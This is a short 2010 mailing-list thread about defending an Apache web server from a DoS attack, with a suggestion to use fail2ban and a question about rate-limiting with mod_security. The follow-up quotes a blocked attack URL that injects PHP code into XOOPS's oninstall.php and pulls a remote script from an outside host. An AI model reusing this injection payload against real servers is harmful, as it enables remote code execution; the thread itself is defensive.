how to protect an apache from a DOS Attack

[ESGLinux]

Hi again

I have experimented with mod_security to ban access to urls like this:
/xoops_lib/modules/protector/oninstall.php?mydirname=a()%7B%7Dinclude($_GET[a]);function%20v&a=
http://www.hongkongtravel.co.kr/you4/data/byz9991.txt???

but I don´t know if there is a way to use it to limit the number of access
from a ip in period of time,

anyone knows?

ESG

2010/4/12 <m.roth at 5-cent.us>

> ESG wrote:
> >
> > I have an apache web server and I having a DOS Attack. Which is the best
> > way to protect my webserver from it. ?
> >
> > What I do now is when I detect the problem I use an iptable rule to ban
> > the ip, but I want to do it automatically without manual intervention,
> >
> > Any idea or suggestion?
>
> fail2ban
>
>       mark
>
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